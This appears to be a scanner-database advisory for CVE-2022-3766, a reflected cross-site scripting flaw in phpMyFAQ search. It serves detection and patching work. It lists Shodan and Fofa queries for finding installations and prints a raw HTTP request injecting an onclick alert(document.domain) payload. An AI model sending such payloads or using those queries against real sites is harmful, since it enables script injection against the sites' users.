| Title | phpMyFAQ < 3.1.8 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | An attacker can Execute arbitrary JavaScript in victim's browser context |
| Remediation | Upgrade phpMyFAQ to version 3.1.8 or later |
| CVSS Score | 6.1 |
| EPSS Score | 0.04657 |
| CVE ID | CVE-2022-3766 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"phpmyfaq" |
| Fofa Query | body="phpmyfaq" |
| Tags | cve cve2022 phpmyfaq xss vuln |
phpMyFAQ versions prior to 3.1.8 contain a reflected cross-site scripting vulnerability in the search functionality. The application fails to properly sanitize user input in the search parameter, allowing attackers to inject and execute malicious JavaScript code in the context of other users’ browsers.
GET /index.php?search=1af%22+onclick%3D'alert(document.domain)' HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3766.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3766.pcap
N/AN/A